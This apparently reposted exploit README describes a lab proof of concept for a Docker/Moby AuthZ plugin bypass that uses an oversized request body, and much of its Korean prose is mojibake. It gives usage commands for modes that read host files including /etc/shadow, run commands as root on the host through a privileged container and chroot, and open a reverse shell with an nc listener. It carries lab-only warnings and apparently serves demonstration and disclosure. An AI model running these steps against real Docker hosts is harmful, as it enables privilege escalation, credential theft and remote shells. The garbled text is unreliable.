Share
## https://sploitus.com/exploit?id=AF683167-D0EB-5BC5-AFCD-7CFEED7715C2
# CVE-2026-34040 Full Lab PoC
> Docker/Moby AuthZ Plugin Bypass via oversized request body
> λ°ν/μ€μ΅μ© μ 체 μ¬ν νλ‘μ νΈμ
λλ€.
## What this project demonstrates
μ΄ νλ‘μ νΈλ CVE-2026-34040μ ν΅μ¬ νλ¦μ μ€μ΅ νκ²½μμ μ¬νν©λλ€.
```text
1. μ μ ν¬κΈ° μμ²μ AuthZ νλ¬κ·ΈμΈμ μν΄ μ°¨λ¨λλ€.
2. 1MBλ₯Ό μ΄κ³Όνλ paddingμ΄ ν¬ν¨λ μμ²μ AuthZ κ²μ¬ κ²½λ‘λ₯Ό μ°νν μ μλ€.
3. μ°νκ° μ±κ³΅νλ©΄ μλ λ§νμΌ ν privileged container μμ± μμ²μ΄ Docker Daemon μ²λ¦¬ λ¨κ³κΉμ§ λλ¬νλ€.
4. μ΄ν privileged container + host bind mount μ‘°ν©μΌλ‘ νΈμ€νΈ νμΌ μ½κΈ°μ νΈμ€νΈ λͺ
λ Ή μ€νμ λ°λͺ¨ν μ μλ€.
```
μ΄ μ·¨μ½μ μμ²΄κ° μ§μ `/etc/shadow`λ₯Ό μ½κ±°λ RCEλ₯Ό μ€ννλ κ²μ μλλλ€.
μ ννλ **AuthZ νλ¬κ·ΈμΈμ΄ λ§μμΌ ν Docker API μμ²μ μ°νν΄μ νΉκΆ 컨ν
μ΄λλ₯Ό λ§λ€ μ μκ² λλ μ·¨μ½μ **μ
λλ€.
κ·Έ μ΄νμ νμΌ μ½κΈ°, chroot, λͺ
λ Ή μ€νμ Docker/Linuxμ κΈ°μ‘΄ κΈ°λ₯μ μ
μ©νλ μν₯ λ°λͺ¨μ
λλ€.
## Repository structure
```text
.
βββ README.md
βββ poc.py
βββ requirements.txt
βββ .gitignore
βββ LICENSE
βββ docs
βββ lab-setup.md
βββ impact-modes.md
βββ demo-script.md
βββ troubleshooting.md
βββ publication-notes.md
```
## Modes
`poc.py`λ λͺ¨λλ³λ‘ λμμ λΆλ¦¬νμ΅λλ€.
| Mode | Purpose |
|---|---|
| `check` | μ μ μμ²κ³Ό 1MB μ΄κ³Ό μμ²μ λΉκ΅ν΄μ AuthZ μ°ν μ¬λΆλ§ νμΈ |
| `read-host-file` | privileged container + host bind mountλ‘ νΈμ€νΈ νμΌ μ½κΈ° λ°λͺ¨ |
| `rce-proof` | νΈμ€νΈμμ root κΆνμΌλ‘ λͺ
λ Ήμ΄ μ€νλμμ marker fileλ‘ μ¦λͺ
|
| `host-command` | νκ°λ λ©μμ μ§μ ν λͺ
λ Ήμ chroot κΈ°λ°μΌλ‘ νΈμ€νΈμμ μ€ν |
| `shell-container` | `sleep infinity` 컨ν
μ΄λλ₯Ό λ§λ€κ³ `docker exec + chroot` λ°λͺ¨μ©μΌλ‘ μ μ§ |
| `reverse-shell-local` | λμΌ VM/λ‘컬 λ©μμλ§ μ°λ reverse shell λ°λͺ¨ |
## Requirements
```text
- Ubuntu VM or Linux host
- Docker/Moby vulnerable version
- Docker AuthZ plugin enabled
- Access to /var/run/docker.sock
- alpine image available locally
```
Alpine μ΄λ―Έμ§κ° μμΌλ©΄ μ°ν μμ²μ΄ `404 No such image`λ‘ μ€ν¨ν μ μμ΅λλ€.
μ΄ κ²½μ°μλ `403`μ΄ μλλΌλ μ μ AuthZ κ²μ¬ λ¨κ³λ₯Ό μ§λ Docker Daemon μ²λ¦¬ λ¨κ³κΉμ§ λλ¬νλ€λ μ¦κ±°κ° λ μ μμ΅λλ€.
λ°νμμλ νΌλμ μ€μ΄κΈ° μν΄ λ―Έλ¦¬ pull ν΄λλ κ²μ κΆμ₯ν©λλ€.
```bash
sudo docker pull alpine
```
## Usage
### 1. Basic AuthZ bypass check
```bash
sudo python3 poc.py --mode check
```
Expected vulnerable-like behavior:
```text
small request β HTTP 403
oversized request β HTTP 201 or HTTP 404
```
### 2. Read a host file
κΈ°λ³Έκ°μ `/etc/hostname`μ
λλ€.
```bash
sudo python3 poc.py --mode read-host-file
```
λ€λ₯Έ νμΌμ μ§μ ν μλ μμ΅λλ€.
```bash
sudo python3 poc.py --mode read-host-file --host-file /etc/passwd
```
λ°νμμ κ°ν μν©νΈλ₯Ό μ£Όλ €λ©΄ `/etc/shadow`λ₯Ό μ¬μ©ν μ μμ§λ§, κ³΅κ° μ μ₯μ/κ³΅κ° λ°ν μλ£μλ λ―Όκ° νμΌ μΆλ ₯κ°μ κ·Έλλ‘ λ£μ§ μλ κ²μ κΆμ₯ν©λλ€.
```bash
sudo python3 poc.py --mode read-host-file --host-file /etc/shadow
```
### 3. RCE proof without a reverse shell
νΈμ€νΈμ `/tmp/cve_2026_34040_rce_proof` νμΌμ `id`, `hostname`, `whoami` κ²°κ³Όλ₯Ό κΈ°λ‘ν©λλ€.
```bash
sudo python3 poc.py --mode rce-proof
```
νμΈ:
```bash
cat /tmp/cve_2026_34040_rce_proof
```
μ 리:
```bash
sudo rm -f /tmp/cve_2026_34040_rce_proof
```
### 4. Run a host command in the lab
λͺ
μμ νμΈ νλκ·Έκ° νμν©λλ€.
```bash
sudo python3 poc.py \
--mode host-command \
--cmd "id; hostname; whoami" \
--i-understand-this-runs-on-host
```
### 5. Keep a privileged container alive and chroot manually
```bash
sudo python3 poc.py --mode shell-container --keep
```
μΆλ ₯λλ 컨ν
μ΄λ IDλ‘ λ€μμ μ€νν©λλ€.
```bash
sudo docker exec -it /bin/sh
chroot /host /bin/bash
id
hostname
whoami
```
μ 리:
```bash
sudo docker rm -f
```
### 6. Local reverse shell demo
μ΄ λͺ¨λλ κ°μ VM λ΄λΆμμ μμ°νκΈ° μν λ‘컬 reverse shellμ
λλ€.
`NetworkMode=host`λ₯Ό μ¬μ©νλ―λ‘ Linux μ€μ΅ νκ²½μμ μ€ννμΈμ.
ν°λ―Έλ 1:
```bash
nc -lvnp 4444
```
ν°λ―Έλ 2:
```bash
sudo python3 poc.py \
--mode reverse-shell-local \
--lport 4444 \
--i-understand-this-runs-on-host
```
μ 리:
```bash
sudo docker ps -a
sudo docker rm -f
```
## Important lab-only warning
μ΄ νλ‘μ νΈλ λ³ΈμΈ μμ λλ λͺ
μμ μΌλ‘ νκ°λ°μ λ© νκ²½μμλ§ μ¬μ©νμΈμ.
μ격 Docker API, μ 3μ μλ², μ΄μ νκ²½, μΈν°λ· λ
ΈμΆ Docker endpointλ₯Ό λμμΌλ‘ μ€ννμ§ λ§μΈμ.
## Why not hide the impact demos?
λ°ν λͺ©μ μ΄λΌλ©΄ λ¨μν `403`κ³Ό `404/201`λ§ λ³΄μ¬μ£Όλ κ²λ³΄λ€, μ°ν μ΄ν μ΄λ€ μν₯μ΄ κ°λ₯νμ§ λ³΄μ¬μ€μΌ CVEμ μνλκ° μ λ¬λ©λλ€.
κ·Έλμ μ΄ full-lab λ²μ μλ νΈμ€νΈ νμΌ μ½κΈ°, chroot κΈ°λ° λͺ
λ Ή μ€ν, λ‘컬 reverse shell λ°λͺ¨λ₯Ό λ€μ ν¬ν¨νμ΅λλ€.
λ€λ§ κΈ°λ³Έ λͺ¨λλ μ¬μ ν `check`μ
λλ€.
μνλκ° λμ λμμ μ¬μ©μκ° λͺ
μμ μΌλ‘ modeλ₯Ό μ νν΄μΌλ§ μ€νλ©λλ€.